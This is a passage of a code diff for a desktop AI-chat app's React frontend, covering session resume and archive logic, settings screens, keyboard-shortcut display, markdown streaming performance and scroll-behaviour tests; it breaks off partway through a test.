-        const resumePromise = requestGateway<SessionResumeResponse>('session.resume', {
-          session_id: storedSessionId,
-          cols: 96,
-          ...(watchWindow ? { lazy: true } : {}),
-          ...(sessionProfile ? { profile: sessionProfile } : {})
-        })
-        // The rejection is consumed by the `await` below; this guard only
-        // keeps it from surfacing as unhandled while the prefetch settles.
-        resumePromise.catch(() => undefined)
-
         try {
-          if (prefetchPromise) {
-            const storedMessages = await prefetchPromise
+          const storedMessages = await getSessionMessages(storedSessionId, sessionProfile)
 
-            if (isCurrentResume()) {
-              localSnapshot = preserveLocalAssistantErrors(toChatMessages(storedMessages.messages), $messages.get())
+          if (isCurrentResume()) {
+            localSnapshot = preserveLocalAssistantErrors(toChatMessages(storedMessages.messages), $messages.get())
 
-              if (!chatMessageArraysEquivalent($messages.get(), localSnapshot)) {
-                setMessages(localSnapshot)
-              }
+            if (!chatMessageArraysEquivalent($messages.get(), localSnapshot)) {
+              setMessages(localSnapshot)
             }
           }
         } catch {
           // Non-fatal: gateway resume below can still hydrate the session.
         }
 
-        const resumed = await resumePromise
+        const resumed = await requestGateway<SessionResumeResponse>('session.resume', {
+          session_id: storedSessionId,
+          cols: 96,
+          // Owning profile: in app-global remote mode one backend serves every
+          // profile, so the gateway opens this profile's state.db + home to
+          // resume + persist the right session (no-op for single/launch profile).
+          ...(sessionProfile ? { profile: sessionProfile } : {})
+        })
 
         if (!isCurrentResume()) {
           return
@@ -706,22 +602,25 @@ export function useSessionActions({
 
         const currentMessages = $messages.get()
 
-        // Keep the local snapshot when resume would only reshuffle runtime
-        // projection. When the REST prefetch already hydrated the transcript,
-        // skip converting/reconciling the resume payload entirely — on a
-        // 1000+-message session that second conversion plus the deep
-        // equivalence compare costs over a second of main-thread time.
+        const resumedMessages = preserveLocalAssistantErrors(
+          reconcileResumeMessages(toChatMessages(resumed.messages), currentMessages),
+          currentMessages
+        )
+        // Avoid a second visible transcript rebuild on resume/switch.
+        // `getSessionMessages()` is the stable stored transcript snapshot and
+        // paints first; `session.resume` can return a slightly different
+        // runtime-shaped projection (e.g. tool/system coalescing), which was
+        // causing a second full message-list replacement a second later.
+        // Keep the already-painted local snapshot for the view/cache when it
+        // exists; use gateway messages only as a fallback when no local
+        // snapshot was available.
+
         const preferredMessages =
           localSnapshot.length > 0
             ? localSnapshot
-            : (() => {
-                const resumedMessages = preserveLocalAssistantErrors(
-                  reconcileResumeMessages(toChatMessages(resumed.messages), currentMessages),
-                  currentMessages
-                )
-
-                return chatMessageArraysEquivalent(currentMessages, resumedMessages) ? currentMessages : resumedMessages
-              })()
+            : chatMessageArraysEquivalent(currentMessages, resumedMessages)
+              ? currentMessages
+              : resumedMessages
 
         const messagesForView = preserveLocalAssistantErrors(preferredMessages, currentMessages)
 
@@ -731,16 +630,14 @@ export function useSessionActions({
 
         patchSessionWorkspace(storedSessionId, runtimeInfo?.cwd)
 
-        resumedRunning = Boolean((resumed as { running?: boolean }).running)
-
         updateSessionState(
           resumed.session_id,
           state => ({
             ...state,
             ...(runtimeInfo ?? {}),
             messages: messagesForView,
-            busy: resumedRunning,
-            awaitingResponse: resumedRunning
+            busy: false,
+            awaitingResponse: false
           }),
           storedSessionId
         )
@@ -759,9 +656,9 @@ export function useSessionActions({
         notifyError(err, copy.resumeFailed)
       } finally {
         if (isCurrentResume()) {
-          busyRef.current = resumedRunning
-          setBusy(resumedRunning)
-          setAwaitingResponse(resumedRunning)
+          busyRef.current = false
+          setBusy(false)
+          setAwaitingResponse(false)
         }
       }
     },
@@ -902,7 +799,7 @@ export function useSessionActions({
     async (storedSessionId: string) => {
       clearNotifications()
 
-      const removed = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
+      const removed = $sessions.get().find(s => s.id === storedSessionId)
       const wasSelected = selectedStoredSessionId === storedSessionId
       const closingRuntimeId = wasSelected ? activeSessionId : null
       const previousMessages = $messages.get()
@@ -911,7 +808,7 @@ export function useSessionActions({
       // live tip after compression. Drop both so the pin can't linger.
       const removedPinId = removed ? sessionPinId(removed) : storedSessionId
 
-      setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
+      setSessions(prev => prev.filter(s => s.id !== storedSessionId))
       // Keep $sessionsTotal in sync so the sidebar's "Load N more" footer
       // doesn't keep claiming the removed row is still on the server.
       setSessionsTotal(prev => Math.max(0, prev - 1))
@@ -946,7 +843,7 @@ export function useSessionActions({
           setFreshDraftReady(false)
           setSelectedStoredSessionId(storedSessionId)
           selectedStoredSessionIdRef.current = storedSessionId
-          const stored = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
+          const stored = $sessions.get().find(session => session.id === storedSessionId)
 
           if (stored) {
             setCurrentUsage(current => ({
@@ -985,7 +882,7 @@ export function useSessionActions({
     async (storedSessionId: string) => {
       clearNotifications()
 
-      const archived = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
+      const archived = $sessions.get().find(s => s.id === storedSessionId)
       const wasSelected = selectedStoredSessionId === storedSessionId
       const previousPinned = $pinnedSessionIds.get()
       // Pins are keyed on the durable lineage-root id; the stored id may be the
@@ -993,7 +890,7 @@ export function useSessionActions({
       const archivedPinId = archived ? sessionPinId(archived) : storedSessionId
 
       // Soft-hide: drop from the sidebar immediately, keep the data.
-      setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
+      setSessions(prev => prev.filter(s => s.id !== storedSessionId))
       // Archived sessions are hidden by the listSessions(min_messages=1) query
       // on the next refresh, so they count as "removed" for the load-more
       // footer math.
@@ -1010,12 +907,12 @@ export function useSessionActions({
         // in flight and briefly reinsert the still-unarchived backend row. Win
         // that race after the mutation succeeds so right-click → Archive does
         // not appear to do nothing until the next full refresh.
-        setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
+        setSessions(prev => prev.filter(s => s.id !== storedSessionId))
         $pinnedSessionIds.set($pinnedSessionIds.get().filter(id => id !== storedSessionId && id !== archivedPinId))
         notify({ durationMs: 2_000, kind: 'success', message: copy.archived })
       } catch (err) {
         if (archived) {
-          setSessions(prev => [archived, ...prev.filter(session => !sessionMatchesStoredId(session, storedSessionId))])
+          setSessions(prev => [archived, ...prev.filter(s => s.id !== storedSessionId)])
           setSessionsTotal(prev => prev + 1)
         }
 

apps/desktop/src/app/settings/appearance-settings.tsx

@@ -9,7 +9,6 @@ import { Check, Download, Loader2, Palette, Trash2 } from '@/lib/icons'
 import { cn } from '@/lib/utils'
 import { $activeGatewayProfile, $profiles, normalizeProfileKey } from '@/store/profile'
 import { $toolViewMode, setToolViewMode } from '@/store/tool-view'
-import { $translucency, setTranslucency } from '@/store/translucency'
 import { useTheme } from '@/themes/context'
 import { installVscodeThemeFromMarketplace } from '@/themes/install'
 import { isUserTheme, removeUserTheme, resolveTheme } from '@/themes/user-themes'
@@ -136,7 +135,6 @@ export function AppearanceSettings() {
   const { t, isSavingLocale } = useI18n()
   const { themeName, mode, availableThemes, setTheme, setMode } = useTheme()
   const toolViewMode = useStore($toolViewMode)
-  const translucency = useStore($translucency)
   const profiles = useStore($profiles)
   const activeProfileKey = normalizeProfileKey(useStore($activeGatewayProfile))
   const a = t.settings.appearance
@@ -185,32 +183,6 @@ export function AppearanceSettings() {
             title={a.colorMode}
           />
 
-          <ListRow
-            action={
-              <div className="flex items-center gap-3">
-                <input
-                  aria-label={a.translucencyTitle}
-                  className="h-1 w-40 cursor-pointer appearance-none rounded-full bg-(--ui-stroke-tertiary)"
-                  max={100}
-                  min={0}
-                  onChange={event => {
-                    triggerHaptic('selection')
-                    setTranslucency(Number(event.target.value))
-                  }}
-                  step={5}
-                  style={{ accentColor: 'var(--dt-primary)' }}
-                  type="range"
-                  value={translucency}
-                />
-                <span className="w-9 text-right text-[length:var(--conversation-caption-font-size)] tabular-nums text-(--ui-text-tertiary)">
-                  {translucency}%
-                </span>
-              </div>
-            }
-            description={a.translucencyDesc}
-            title={a.translucencyTitle}
-          />
-
           <ListRow
             below={
               <>

apps/desktop/src/app/settings/model-settings.tsx

@@ -15,7 +15,7 @@ import type { AuxiliaryModelsResponse, ModelOptionProvider, StaleAuxAssignment }
 import { useI18n } from '@/i18n'
 import { AlertTriangle, Cpu, Loader2 } from '@/lib/icons'
 import { cn } from '@/lib/utils'
-import { startManualLocalEndpoint, startManualProviderOAuth } from '@/store/onboarding'
+import { startManualProviderOAuth } from '@/store/onboarding'
 
 import { CONTROL_TEXT } from './constants'
 import { ListRow, LoadingState, Pill, SectionHeading } from './primitives'
@@ -224,23 +224,10 @@ export function ModelSettings({ onMainModelChanged }: ModelSettingsProps) {
   }, [apiKeyDraft, selectedProviderRow])
 
   // OAuth / external providers can't be activated with a pasted key — hand off
-  // to the shared onboarding flow scoped to this provider's real sign-in. The
-  // custom / local endpoint is NOT an OAuth provider, so it gets the dedicated
-  // local-endpoint form (URL + optional API key) instead of being dead-ended
-  // on the OAuth picker (the original "booted back to the first screen" loop).
+  // to the shared onboarding flow scoped to this provider's real sign-in.
   const startProviderSetup = useCallback(() => {
-    const slug = selectedProviderRow?.slug
-
-    if (!slug) {
-      return
-    }
-
-    const lower = slug.toLowerCase()
-
-    if (lower === 'custom' || lower === 'local' || lower.startsWith('custom:')) {
-      startManualLocalEndpoint()
-    } else {
-      startManualProviderOAuth(slug)
+    if (selectedProviderRow?.slug) {
+      startManualProviderOAuth(selectedProviderRow.slug)
     }
   }, [selectedProviderRow])
 

apps/desktop/src/app/settings/sessions-settings.tsx

@@ -2,7 +2,7 @@ import { useCallback, useEffect, useState } from 'react'
 
 import { Button } from '@/components/ui/button'
 import { Tip } from '@/components/ui/tooltip'
-import { deleteSession, listAllProfileSessions, setSessionArchived } from '@/hermes'
+import { deleteSession, listSessions, setSessionArchived } from '@/hermes'
 import { useI18n } from '@/i18n'
 import { sessionTitle } from '@/lib/chat-runtime'
 import { triggerHaptic } from '@/lib/haptics'
@@ -43,14 +43,14 @@ export function SessionsSettings() {
     setLoading(true)
 
     try {
-      const result = await listAllProfileSessions(ARCHIVED_FETCH_LIMIT, 0, 'only')
+      const result = await listSessions(ARCHIVED_FETCH_LIMIT, 0, 'only')
       setLocalSessions(result.sessions)
     } catch (err) {
       notifyError(err, s.failedLoad)
     } finally {
       setLoading(false)
     }
-  }, [s.failedLoad])
+  }, [])
 
   useEffect(() => {
     void load()

apps/desktop/src/app/shell/keybind-panel.tsx

@@ -5,7 +5,6 @@ import { useState } from 'react'
 import { Button } from '@/components/ui/button'
 import { Codicon } from '@/components/ui/codicon'
 import { DisclosureCaret } from '@/components/ui/disclosure-caret'
-import { Kbd, KbdCombo } from '@/components/ui/kbd'
 import { useI18n } from '@/i18n'
 import {
   KEYBIND_ACTIONS,
@@ -167,11 +166,15 @@ function KeybindRow({ action }: { action: KeybindActionMeta }) {
         type="button"
       >
         {capturing ? (
-          <Kbd variant="capturing">{k.pressKey}</Kbd>
+          <span className="kbd-cap kbd-capturing">{k.pressKey}</span>
         ) : combos.length > 0 ? (
-          combos.map(combo => <KbdCombo combo={combo} key={combo} />)
+          combos.map(combo => (
+            <span className="kbd-cap" key={combo}>
+              {formatCombo(combo)}
+            </span>
+          ))
         ) : (
-          <Kbd variant="ghost">{k.set}</Kbd>
+          <span className="kbd-cap kbd-cap--ghost">{k.set}</span>
         )}
       </button>
 
@@ -206,7 +209,9 @@ function ReadonlyRow({ shortcut }: { shortcut: KeybindReadonly }) {
       <span className="min-w-0 flex-1 truncate text-[0.82rem] text-foreground/75">{label}</span>
       <div className="flex shrink-0 items-center gap-1">
         {shortcut.keys.map(key => (
-          <KbdCombo combo={key} key={key} />
+          <span className="kbd-cap" key={key}>
+            {formatCombo(key)}
+          </span>
         ))}
       </div>
       <span aria-hidden className="size-6 shrink-0" />

apps/desktop/src/app/shell/titlebar.ts

@@ -19,10 +19,7 @@ export const titlebarButtonClass =
   'text-muted-foreground/85 hover:bg-(--ui-control-hover-background) hover:text-foreground'
 
 export const titlebarHeaderBaseClass =
-  'pointer-events-none relative z-3 flex h-(--titlebar-height) w-full min-w-0 shrink-0 items-center justify-start gap-3 overflow-hidden border-b border-(--ui-stroke-tertiary) bg-(--ui-chat-surface-background) px-[max(0.75rem,var(--titlebar-content-inset,0rem))] pr-[calc(var(--titlebar-tools-right,0.75rem)+var(--titlebar-tools-width,0px)+0.75rem)]'
-
-// Title row inside the header — must stay in the flex truncate chain.
-export const titlebarHeaderTitleClass = 'min-w-0 flex-1 overflow-hidden'
+  'pointer-events-none relative z-3 flex h-(--titlebar-height) shrink-0 items-center justify-start gap-3 border-b border-(--ui-stroke-tertiary) bg-(--ui-chat-surface-background) px-[max(0.75rem,var(--titlebar-content-inset,0rem))]'
 
 export const titlebarHeaderShadowClass =
   "after:pointer-events-none after:absolute after:left-0 after:right-0 after:top-full after:h-4 after:bg-linear-to-b after:from-(--ui-chat-surface-background) after:to-transparent after:content-['']"

apps/desktop/src/components/assistant-ui/clarify-tool.tsx

@@ -6,7 +6,6 @@ import { type FormEvent, type KeyboardEvent, useCallback, useMemo, useRef, useSt
 
 import { ToolFallback } from '@/components/assistant-ui/tool-fallback'
 import { Button } from '@/components/ui/button'
-import { KbdCombo } from '@/components/ui/kbd'
 import { Textarea } from '@/components/ui/textarea'
 import { useI18n } from '@/i18n'
 import { triggerHaptic } from '@/lib/haptics'
@@ -230,10 +229,7 @@ function ClarifyToolPending({ args }: ToolCallMessagePartProps) {
             value={draft}
           />
           <div className="flex items-center justify-between gap-2">
-            <span className="inline-flex items-center gap-1 text-[0.6875rem] text-muted-foreground/85">
-              <KbdCombo combo="mod+enter" size="sm" />
-              {copy.shortcutSuffix}
-            </span>
+            <span className="text-[0.6875rem] text-muted-foreground/85">{copy.shortcut}</span>
             <div className="flex items-center gap-1.5">
               {hasChoices && (
                 <Button

apps/desktop/src/components/assistant-ui/markdown-text.tsx

@@ -2,22 +2,12 @@
 
 import { TextMessagePartProvider, useMessagePartText } from '@assistant-ui/react'
 import {
-  parseMarkdownIntoBlocks,
   type StreamdownTextComponents,
   StreamdownTextPrimitive,
   type SyntaxHighlighterProps
 } from '@assistant-ui/react-streamdown'
 import { code } from '@streamdown/code'
-import {
-  type ComponentProps,
-  memo,
-  type ReactNode,
-  useDeferredValue,
-  useEffect,
-  useMemo,
-  useRef,
-  useState
-} from 'react'
+import { type ComponentProps, memo, type ReactNode, useDeferredValue, useEffect, useMemo, useRef, useState } from 'react'
 
 import { PreviewAttachment } from '@/components/chat/preview-attachment'
 import { SyntaxHighlighter } from '@/components/chat/shiki-highlighter'
@@ -36,7 +26,6 @@ import {
   mediaStreamUrl
 } from '@/lib/media'
 import { previewTargetFromMarkdownHref } from '@/lib/preview-targets'
-import { tailBoundedRemend } from '@/lib/remend-tail'
 import { cn } from '@/lib/utils'
 
 // Math rendering plugin (KaTeX). Configured once at module scope — the
@@ -53,51 +42,6 @@ import { cn } from '@/lib/utils'
 // LLM convention). The default false-setting only accepts `$$...$$`.
 const mathPlugin = createMemoizedMathPlugin({ singleDollarTextMath: true })
 
-// Replaces Streamdown's `parseIncompleteMarkdown` (full-text remend per
-// flush) with a tail-bounded repair — see lib/remend-tail.ts. Must stay
-// module-scope so the prop identity is stable across renders.
-function preprocessWithTailRepair(text: string): string {
-  return tailBoundedRemend(preprocessMarkdown(text))
-}
-
-// Memoized block splitter. Streamdown calls `parseMarkdownIntoBlocks` (a full
-// `marked` lex of the entire message, ~1.6ms per 28KB) inside a useMemo keyed
-// on the text — but the same text is re-lexed every time a message REMOUNTS
-// (virtualizer scroll, session switch) and whenever multiple surfaces render
-// the same content (deferred + smooth reveal republish). A small module-level
-// LRU keyed by the exact source string removes all of those repeat parses
-// with zero correctness risk (same input → same output). Streaming tail
-// growth misses the cache by design (every flush is a new string) — that
-// single lex is the irreducible cost.
-const BLOCK_CACHE_MAX = 64
-const BLOCK_CACHE_MIN_LENGTH = 1024
-const blockCache = new Map<string, string[]>()
-
-function parseMarkdownIntoBlocksCached(markdown: string): string[] {
-  if (markdown.length < BLOCK_CACHE_MIN_LENGTH) {
-    return parseMarkdownIntoBlocks(markdown)
-  }
-
-  const hit = blockCache.get(markdown)
-
-  if (hit) {
-    // Refresh recency (Map iteration order is insertion order).
-    blockCache.delete(markdown)
-    blockCache.set(markdown, hit)
-
-    return hit
-  }
-
-  const blocks = parseMarkdownIntoBlocks(markdown)
-  blockCache.set(markdown, blocks)
-
-  if (blockCache.size > BLOCK_CACHE_MAX) {
-    blockCache.delete(blockCache.keys().next().value as string)
-  }
-
-  return blocks
-}
-
 async function mediaSrc(path: string): Promise<string> {
   if (/^(?:https?|data):/i.test(path)) {
     return path
@@ -297,13 +241,6 @@ function MarkdownImage({ className, src, alt, ...props }: ComponentProps<'img'>)
 // keeps draining its tail instead of snapping.
 const REVEAL_DRAIN_MS = 500
 const REVEAL_MAX_CHARS_PER_FRAME = 30
-// Floor between reveal commits. Each commit republishes the text context and
-// re-runs the whole Streamdown pipeline (preprocess → remend → lex → micromark
-// on the open block) over the full accumulated text — at raw rAF cadence
-// that's 60 full parses/second and was the dominant streaming cost for
-// reasoning text. ~33ms keeps the reveal visually fluid (2 frames) while
-// halving the parse work.
-const REVEAL_MIN_COMMIT_MS = 33
 
 function useSmoothReveal(text: string, isRunning: boolean): string {
   const [displayed, setDisplayed] = useState(isRunning ? '' : text)
@@ -336,27 +273,10 @@ function useSmoothReveal(text: string, isRunning: boolean): string {
     const tick = () => {
       const now = performance.now()
       const dt = now - lastTickRef.current
-
-      // Skip this frame if the floor hasn't elapsed — the backlog math below
-      // is dt-proportional, so delayed commits reveal proportionally more.
-      if (dt < REVEAL_MIN_COMMIT_MS) {
-        frameRef.current = requestAnimationFrame(tick)
-
-        return
-      }
-
       lastTickRef.current = now
 
       const remaining = targetRef.current.length - shownRef.current.length
-
-      const add = Math.min(
-        remaining,
-        // dt-scaled so the per-commit cap stays equivalent to the old
-        // per-frame cap at any commit cadence.
-        Math.ceil((REVEAL_MAX_CHARS_PER_FRAME * dt) / 16.7),
-        Math.max(1, Math.ceil((remaining * dt) / REVEAL_DRAIN_MS))
-      )
-
+      const add = Math.min(remaining, REVEAL_MAX_CHARS_PER_FRAME, Math.max(1, Math.ceil((remaining * dt) / REVEAL_DRAIN_MS)))
       shownRef.current = targetRef.current.slice(0, shownRef.current.length + add)
       setDisplayed(shownRef.current)
 
@@ -540,20 +460,17 @@ function MarkdownTextSurface({ containerClassName, containerProps }: MarkdownTex
       containerProps={containerProps}
       lineNumbers={false}
       mode="streaming"
-      // Incomplete-markdown repair is handled by `preprocessWithTailRepair`
-      // below (tail-bounded remend) instead of Streamdown's built-in pass,
-      // which re-runs remend over the ENTIRE message on every flush — ~18%
-      // of streaming script time on 50KB+ messages. The repair itself stays
-      // always-on (even between flushes / for completed messages): an
-      // unclosed ```python ... ``` whose body contains `$` (shell snippets,
-      // JS template strings, dollar amounts) would otherwise leak those
-      // dollars to the math parser and render broken inline math. Shiki is
-      // independently deferred via `defer={isStreaming}` on the
-      // SyntaxHighlighter component.
-      parseIncompleteMarkdown={false}
-      parseMarkdownIntoBlocksFn={parseMarkdownIntoBlocksCached}
+      // Always auto-close incomplete fences — even during streaming.
+      // Without this, an unclosed ```python ... ``` whose body contains
+      // `$` (very common: shell snippets, JS template strings, dollar
+      // amounts) leaks those dollars out to the math parser and they
+      // get rendered as broken inline math until the closing fence
+      // arrives. Shiki is independently deferred via `defer={isStreaming}`
+      // on the SyntaxHighlighter component, so we don't pay code-block
+      // tokenization on every token even with this set.
+      parseIncompleteMarkdown
       plugins={plugins}
-      preprocess={preprocessWithTailRepair}
+      preprocess={preprocessMarkdown}
     />
   )
 }

apps/desktop/src/components/assistant-ui/message-render-boundary.test.tsx

@@ -1,80 +0,0 @@
-import { cleanup, render, screen } from '@testing-library/react'
-import { afterEach, describe, expect, it, vi } from 'vitest'
-
-import { MessageRenderBoundary } from './message-render-boundary'
-
-afterEach(cleanup)
-
-function Boom({ error }: { error: Error | null }): null {
-  if (error) {
-    throw error
-  }
-
-  return null
-}
-
-const lookupError = new Error('tapClientLookup: Index 2 out of bounds (length: 2)')
-
-describe('MessageRenderBoundary', () => {
-  it('renders children when nothing throws', () => {
-    render(
-      <MessageRenderBoundary resetKey="a">
-        <div>content</div>
-      </MessageRenderBoundary>
-    )
-
-    expect(screen.getByText('content')).toBeTruthy()
-  })
-
-  it('swallows the transient tapClientLookup out-of-bounds store race', () => {
-    const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
-
-    const { container } = render(
-      <MessageRenderBoundary resetKey="a">
-        <Boom error={lookupError} />
-      </MessageRenderBoundary>
-    )
-
-    expect(container.innerHTML).toBe('')
-    spy.mockRestore()
-  })
-
-  it('recovers on the next consistent snapshot when resetKey changes', () => {
-    const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
-
-    const { rerender } = render(
-      <MessageRenderBoundary resetKey="a">
-        <Boom error={lookupError} />
-      </MessageRenderBoundary>
-    )
-
-    rerender(
-      <MessageRenderBoundary resetKey="b">
-        <Boom error={null} />
-      </MessageRenderBoundary>
-    )
-
-    rerender(
-      <MessageRenderBoundary resetKey="b">
-        <div>recovered</div>
-      </MessageRenderBoundary>
-    )
-
-    expect(screen.getByText('recovered')).toBeTruthy()
-    spy.mockRestore()
-  })
-
-  it('re-throws unrelated errors so real bugs still surface', () => {
-    const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
-
-    expect(() =>
-      render(
-        <MessageRenderBoundary resetKey="a">
-          <Boom error={new Error('genuine render bug')} />
-        </MessageRenderBoundary>
-      )
-    ).toThrow('genuine render bug')
-
-    spy.mockRestore()
-  })
-})

apps/desktop/src/components/assistant-ui/message-render-boundary.tsx

@@ -1,48 +0,0 @@
-import { Component, type ReactNode } from 'react'
-
-// `@assistant-ui/store`'s index-keyed child-scope lookup (`tapClientLookup`)
-// throws — rather than returning undefined — when a subscriber reads an index
-// that the message/parts list no longer has. This races during high-frequency
-// store replacement (session switch mid-stream, gateway reconnect replay): a
-// subscriber from the previous, longer list is still in React's notification
-// queue and reads one slot past the new, shorter array before it can unmount.
-// The throw is transient and self-heals on the next consistent snapshot, but
-// without a local boundary it unwinds to the root and blanks the whole app.
-// Upstream-tracked: assistant-ui/assistant-ui#4051, #3652.
-const isTransientLookupError = (error: unknown): boolean =>
-  error instanceof Error && /tapClient(Lookup|Resource).*out of bounds/.test(error.message)
-
-interface Props {
-  // Changes whenever the message list mutates; remounting clears the caught
-  // error so the next consistent render recovers silently.
-  resetKey: string
-  children: ReactNode
-}
-
-export class MessageRenderBoundary extends Component<Props, { error: Error | null }> {
-  state: { error: Error | null } = { error: null }
-
-  static getDerivedStateFromError(error: Error) {
-    return { error }
-  }
-
-  componentDidUpdate(prev: Props) {
-    if (this.state.error && prev.resetKey !== this.props.resetKey) {
-      this.setState({ error: null })
-    }
-  }
-
-  render() {
-    if (this.state.error) {
-      // Only swallow the transient store race; re-throw anything else so real
-      // bugs still reach the root error boundary.
-      if (!isTransientLookupError(this.state.error)) {
-        throw this.state.error
-      }
-
-      return null
-    }
-
-    return this.props.children
-  }
-}

apps/desktop/src/components/assistant-ui/streaming.test.tsx

@@ -58,9 +58,9 @@ Element.prototype.animate = function animate() {
   } as unknown as Animation
 }
 
-// jsdom returns 0 for offset*; some layout code reads those to size the
+// jsdom returns 0 for offset*; the virtualizer reads those to size its
 // viewport. Fall through to client* (which tests can override) or a sane
-// default so message rows render with non-zero dimensions.
+// default so virtualized items render.
 function stubOffsetDimension(
   prop: 'offsetHeight' | 'offsetWidth',
   clientProp: 'clientHeight' | 'clientWidth',
@@ -216,21 +216,25 @@ function assistantTodoMessage(
   } as ThreadMessage
 }
 
-function assistantImageMessage(running = false): ThreadMessage {
+function assistantReasoningTodoMessage(
+  todos: Array<{ content: string; id: string; status: 'cancelled' | 'completed' | 'in_progress' | 'pending' }>
+): ThreadMessage {
   return {
-    id: `assistant-image-${running ? 'running' : 'done'}`,
+    id: 'assistant-reasoning-todo-1',
     role: 'assistant',
     content: [
+      { type: 'reasoning', text: 'Let me make a quick todo list.' },
       {
         type: 'tool-call',
-        toolCallId: 'image-1',
-        toolName: 'image_generate',
-        args: { prompt: 'draw a cat' },
-        argsText: JSON.stringify({ prompt: 'draw a cat' }),
-        ...(running ? {} : { result: { image: 'https://cdn.example/cat.png', success: true } })
-      }
+        toolCallId: 'todo-1',
+        toolName: 'todo',
+        args: { todos },
+        argsText: JSON.stringify({ todos }),
+        result: { todos }
+      },
+      { type: 'text', text: 'Done — fake list created.' }
     ],
-    status: running ? { type: 'running' } : { type: 'complete', reason: 'stop' },
+    status: { type: 'complete', reason: 'stop' },
     createdAt,
     metadata: {
       unstable_state: null,
@@ -280,6 +284,20 @@ function StreamingHarness() {
   )
 }
 
+function StaticThreadHarness() {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages: [userMessage(), assistantMessage('complete response', false)],
+    isRunning: false,
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread />
+    </AssistantRuntimeProvider>
+  )
+}
+
 function TodoHarness({ message }: { message: ThreadMessage }) {
   const runtime = useExternalStoreRuntime<ThreadMessage>({
     messages: [message],
@@ -421,11 +439,222 @@ describe('assistant-ui streaming renderer', () => {
     expect(screen.getByRole('alert').textContent).toContain('OpenRouter rejected the request (403).')
   })
 
-  // Scroll behavior (follow-at-bottom, escape-on-scroll-up, re-engage) is owned
-  // by the use-stick-to-bottom library and covered by its own test suite. We
-  // don't re-assert its scrollTop mechanics here — doing so in jsdom (no real
-  // layout, spring animation via rAF) only produces brittle change-detector
-  // tests. The rendering/streaming-content tests below remain the contract.
+  it('does not pull the viewport back down after the user scrolls up during streaming', async () => {
+    const { container } = render(<StreamingHarness />)
+
+    const content = container.querySelector('[data-slot="aui_thread-content"]') as HTMLDivElement
+    const viewport = content.parentElement as HTMLDivElement
+    let scrollHeight = 1_000
+
+    Object.defineProperty(viewport, 'clientHeight', { configurable: true, value: 200 })
+    Object.defineProperty(viewport, 'scrollHeight', {
+      configurable: true,
+      get: () => scrollHeight
+    })
+
+    await wait(80)
+
+    await act(async () => {
+      viewport.scrollTop = 800
+      fireEvent.scroll(viewport)
+    })
+    await wait(0)
+
+    await act(async () => {
+      fireEvent.wheel(viewport, { deltaY: -120 })
+      viewport.scrollTop = 420
+      fireEvent.scroll(viewport)
+    })
+
+    scrollHeight = 1_200
+
+    await act(async () => {
+      for (const observer of resizeObservers) {
+        observer.trigger(1_200)
+      }
+    })
+    await wait(0)
+
+    expect(viewport.scrollTop).toBe(420)
+  })
+
+  it('does not auto-follow idle layout shifts', async () => {
+    const { container } = render(<StaticThreadHarness />)
+
+    const content = container.querySelector('[data-slot="aui_thread-content"]') as HTMLDivElement
+    const viewport = content.parentElement as HTMLDivElement
+    let scrollHeight = 1_000
+
+    Object.defineProperty(viewport, 'clientHeight', { configurable: true, value: 200 })
+    Object.defineProperty(viewport, 'scrollHeight', {
+      configurable: true,
+      get: () => scrollHeight
+    })
+
+    await wait(80)
+
+    await act(async () => {
+      viewport.scrollTop = 420
+      fireEvent.scroll(viewport)
+    })
+
+    scrollHeight = 1_200
+
+    await act(async () => {
+      for (const observer of resizeObservers) {
+        observer.trigger(1_200)
+      }
+    })
+    await wait(0)
+
+    expect(viewport.scrollTop).toBe(420)
+  })
+
+  it('does not follow streaming content growth even while parked at the bottom', async () => {
+    const { container } = render(<StreamingHarness />)
+
+    const content = container.querySelector('[data-slot="aui_thread-content"]') as HTMLDivElement
+    const viewport = content.parentElement as HTMLDivElement
+    let clientHeight = 200
+    let scrollHeight = 1_000
+
+    Object.defineProperty(viewport, 'clientHeight', {
+      configurable: true,
+      get: () => clientHeight
+    })
+    Object.defineProperty(viewport, 'scrollHeight', {
+      configurable: true,
+      get: () => scrollHeight
+    })
+
+    await wait(80)
+
+    // Park the user at the bottom of the current content.
+    await act(async () => {
+      viewport.scrollTop = 800
+      fireEvent.scroll(viewport)
+    })
+
+    clientHeight = 240
+
+    await act(async () => {
+      viewport.scrollTop = 760
+      fireEvent.scroll(viewport)
+    })
+
+    // Content grows as tokens stream in. Streaming auto-follow is removed, so
+    // the viewport must NOT chase the new bottom — it stays where the user
+    // last left it.
+    scrollHeight = 1_200
+
+    await act(async () => {
+      for (const observer of resizeObservers) {
+        observer.trigger(1_200)
+      }
+    })
+    await wait(0)
+
+    expect(viewport.scrollTop).toBe(760)
+  })
+
+  it('honors the first upward wheel scroll even when a programmatic bottom-pin scroll event is still pending', async () => {
+    const { container } = render(<StreamingHarness />)
+
+    const content = container.querySelector('[data-slot="aui_thread-content"]') as HTMLDivElement
+    const viewport = content.parentElement as HTMLDivElement
+    let scrollHeight = 1_000
+
+    Object.defineProperty(viewport, 'clientHeight', { configurable: true, value: 200 })
+    Object.defineProperty(viewport, 'scrollHeight', {
+      configurable: true,
+      get: () => scrollHeight
+    })
+
+    await wait(80)
+    await wait(0)
+
+    await act(async () => {
+      fireEvent.wheel(viewport, { deltaY: -120 })
+      viewport.scrollTop = 420
+      fireEvent.scroll(viewport)
+    })
+
+    scrollHeight = 1_200
+
+    await act(async () => {
+      for (const observer of resizeObservers) {
+        observer.trigger(1_200)
+      }
+    })
+    await wait(0)
+
+    expect(viewport.scrollTop).toBe(420)
+  })
+
+  it('does not snap to the bottom on final code-highlight growth after a run completes', async () => {
+    const { container } = render(<StreamingHarness />)
+
+    const content = container.querySelector('[data-slot="aui_thread-content"]') as HTMLDivElement
+    const viewport = content.parentElement as HTMLDivElement
+    let scrollHeight = 1_000
+
+    Object.defineProperty(viewport, 'clientHeight', { configurable: true, value: 200 })
+    Object.defineProperty(viewport, 'scrollHeight', {
+      configurable: true,
